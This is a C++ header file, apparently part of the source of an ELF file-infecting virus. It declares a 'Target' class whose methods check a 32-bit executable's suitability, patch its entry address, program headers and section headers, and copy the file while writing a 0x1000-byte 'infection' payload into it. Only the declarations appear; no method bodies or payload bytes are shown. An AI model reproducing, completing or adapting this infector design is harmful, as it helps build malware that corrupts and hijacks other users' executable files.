#include <elf.h>
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/mman.h>
#include <string>

class Target
{
public:
  Target(const char* filename);
  ~Target();
  bool isOpen() { return fd_dst != -1; }
  bool isSuitable();
  unsigned newEntryAddr();
  bool patchEntryAddr();
  bool patchPhdr();
  bool patchShdr();
  void writeInfection();
  bool copyAndInfect();

private:
  enum { INFECTION_SIZE = 0x1000 };
  static const unsigned char infection[INFECTION_SIZE + 1];

  int fd_dst; /* opened write-only */
  int fd_src; /* opened read-only */

  off_t filesize;

  /* start of memory-mapped image, b means byte */
  union { void* v; unsigned char* b; Elf32_Ehdr* ehdr; } p;

  /* offset to first program header (in file) */
  Elf32_Phdr* phdr;
  
  /* offset to first byte after code segment (in file) */
  size_t top;

  /* start of host code (in memory) */
  Elf32_Addr original_entry;
};
